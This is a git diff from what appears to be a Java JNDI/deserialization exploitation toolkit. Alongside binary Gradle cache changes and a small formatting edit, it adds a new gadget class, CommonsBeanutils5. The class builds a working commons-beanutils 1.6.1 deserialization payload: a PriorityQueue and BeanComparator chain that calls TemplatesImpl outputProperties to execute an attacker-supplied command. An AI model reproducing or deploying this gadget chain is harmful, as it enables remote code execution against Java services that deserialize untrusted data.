diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index f7d3a1a..e7a0f46 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/checksums/md5-checksums.bin b/.gradle/8.7/checksums/md5-checksums.bin index 24d9b7d..300b218 100644 Binary files a/.gradle/8.7/checksums/md5-checksums.bin and b/.gradle/8.7/checksums/md5-checksums.bin differ diff --git a/.gradle/8.7/checksums/sha1-checksums.bin b/.gradle/8.7/checksums/sha1-checksums.bin index 83f6271..8cfaeaa 100644 Binary files a/.gradle/8.7/checksums/sha1-checksums.bin and b/.gradle/8.7/checksums/sha1-checksums.bin differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin index da29dc1..32e541e 100644 --- a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin +++ b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/metadata.bin @@ -1 +1 @@ -›ab3zenlem5csdf7df22cpcxz2u-Ge Är)aJéÛ { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); - final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); - - final PriorityQueue queue = new PriorityQueue(2, comparator); + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java new file mode 100644 index 0000000..49e1c20 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.math.BigInteger; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Comparator; +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.6.1"}) +@Authors({Authors.PEIQIF4CK}) +public class CommonsBeanutils5 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file://libs/commons-beanutils-1.6.1.jar")}, Thread.currentThread().getContextClassLoader()); + Class BeanComparator = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); + Constructor constructor = BeanComparator.getConstructor(String.class); + Object comparator = constructor.newInstance("lowestSetBit"); + final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); + + + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java index 72741ba..2c51bb9 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java @@ -42,7 +42,10 @@ public @interface Authors { String ARTSPLOIT = "artsploit"; String CCKUAILONG = "CCKUAILONG"; + String QI4L = "QI4L"; + String PEIQIF4CK = "peiqiF4ck"; + String KILLER = "killer"; String[] value() default {};